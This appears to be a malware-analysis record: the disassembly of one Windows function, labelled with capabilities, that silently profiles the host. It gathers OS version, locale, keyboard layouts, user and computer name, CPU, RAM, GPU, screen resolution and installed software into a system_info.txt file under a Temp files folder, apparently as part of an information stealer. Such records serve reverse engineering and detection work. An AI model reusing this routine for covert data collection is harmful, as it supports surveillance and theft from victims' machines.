Function at 0x418d80
Capabilities:
Check if file exists
Get cpu information
Get file attributes
Get geographical location
Get hostname
Get installed programs
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query environment variable
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c057b
push eax
mov dword fs:[0], esp
mov eax, 0x1c48
push ebx
call fcn.004bef90
push esi
push edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x88]
call fcn.00405bc0
add esp, 4
push str._files__system_info.txt
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418df1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x340]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x418e3e
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418e34
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419566
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
cmp edx, 8
jb 0x418e96
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418e8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419566
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x208
lea eax, [ebp - 0x1858]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x418ee6
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x418ee6
lea eax, [ebp - 0x1858]
push eax
push str.EXE_PATH:___________________wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x1fe
lea eax, [ebp - 0x838]
mov dword [ebp - 0x34], 0xff
push 0
push eax
call fcn.004a3c90
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x418f43
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x838]
push eax
push 0
push 0
push str.ProductName
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1fe
lea eax, [ebp - 0xa38]
mov dword [ebp - 0x38], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
test eax, eax
jne 0x418f9d
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xa38]
push eax
push 0
push 0
push str.CurrentBuildNumber
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1fe
lea eax, [ebp - 0xc38]
mov dword [ebp - 0x3c], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
test eax, eax
jne 0x418ff7
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xc38]
push eax
push 0
push 0
push str.ReleaseId
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
lea eax, [ebp - 0x1240]
push eax
push str._WINDIR_SysWOW64
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp word [ebp - 0x1240], 0
mov byte [ebp - 0x14], 0
je 0x419042
lea eax, [ebp - 0x1240]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x419042
shr eax, 4
and eax, 0xffffff01
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4190c4
lea eax, [ebp - 0x838]
push eax
push str.Operating_system:___________wS
push esi
call fcn.0040edd0
add esp, 0xc
mov ecx, str.64_bit_x64_
cmp byte [ebp - 0x14], 0
mov eax, str.32_bit_x86_
cmovne eax, ecx
push eax
push str.____wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0xa38]
push eax
push str.___build:__wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0xc38]
push eax
push str.___release:__wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x55
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
test eax, eax
je 0x41910f
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x41910f
lea eax, [ebp - 0x3f0]
push eax
push str.Operating_system_language:__wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x41913d
push str.Keyboard_languages:
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0xc
mov edi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call edi
mov esi, eax
lea ecx, [esi*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
push esi
mov dword [ebp - 0x14], eax
call edi
xor esi, esi
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4191e4
nop dword [eax + eax]
push 0x200
lea eax, [ebp - 0x1c58]
push eax
mov eax, dword [ebp - 0x14]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4191de
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x4191c8
lea eax, [ebp - 0x1c58]
push eax
push str._wS__
push edi
call fcn.0040edd0
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
push 0x200
lea eax, [ebp - 0x1c58]
push 0
push eax
call fcn.004a3c90
add esp, 0xc
inc esi
cmp esi, dword [ebp - 0x1c]
jb 0x419170
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4191f2
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call fcn.004ab5ce
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0
call fcn.004ab5ce
add esp, 4
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x54], edx
push eax
call fcn.004ab89d
add esp, 4
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xac], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x9c], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x58]
push eax
call fcn.004ab89d
add esp, 4
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd0], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xc0], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0xac]
push eax
push str._nLocal_Date_and_Time:________Y__m__d__X
lea eax, [ebp - 0x508]
push 0x118
push eax
call fcn.004ab52c
lea eax, [ebp - 0xd0]
push eax
push str.UTC:________________________z
lea eax, [ebp - 0x638]
push 0x12c
push eax
call fcn.004ab52c
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 0x28
test esi, esi
je 0x4192ed
lea eax, [ebp - 0x508]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x202
push eax
lea eax, [ebp - 0x1448]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x206
push eax
lea eax, [ebp - 0x1650]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x41936a
lea eax, [ebp - 0x1448]
push eax
push str.Username__Computername_:____wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x1650]
push eax
push str.___wS__n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x1fe
lea eax, [ebp - 0xe38]
mov dword [ebp - 0x48], 0xff
push 0
push eax
call fcn.004a3c90
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x2c]
add esp, 0xc
push eax
push 0x20119
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4193c7
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xe38]
push eax
push 0
push 0
push str.ProcessorNameString
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x1fe
lea eax, [ebp - 0x1038]
mov dword [ebp - 0x4c], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x30]
push eax
push 0x20119
push 0
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push 0x80000002
call edi
test eax, eax
jne 0x419445
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1038]
push eax
push 0
push 0
push str.DriverDesc
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov edi, eax
call esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4194e0
push dword [ebp - 0x120]
lea eax, [ebp - 0xe38]
push eax
push str.CPU:________________________wS__cores:__d__n
push esi
call fcn.0040edd0
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
push str.Memory_ram:_________________I64d__mb_n
push esi
call fcn.0040edd0
lea eax, [ebp - 0x1038]
push eax
push str.Video_card:_________________wS_n
push esi
call fcn.0040edd0
add esp, 0x2c
push dword [ebp - 0x1c]
push edi
push str.Display_Resolution:_________d_x__d_n
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
lea eax, [ebp - 0x340]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x41950e
push str._n_Software__n
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0xc
push 2
sub esp, 8
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000001
call fcn.00416910
add esp, 0xc
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000002
push 2
sub esp, 8
call fcn.00416910
add esp, 0xc
mov edx, str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000002
push 2
sub esp, 8
call fcn.00416910
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004a9d47
int3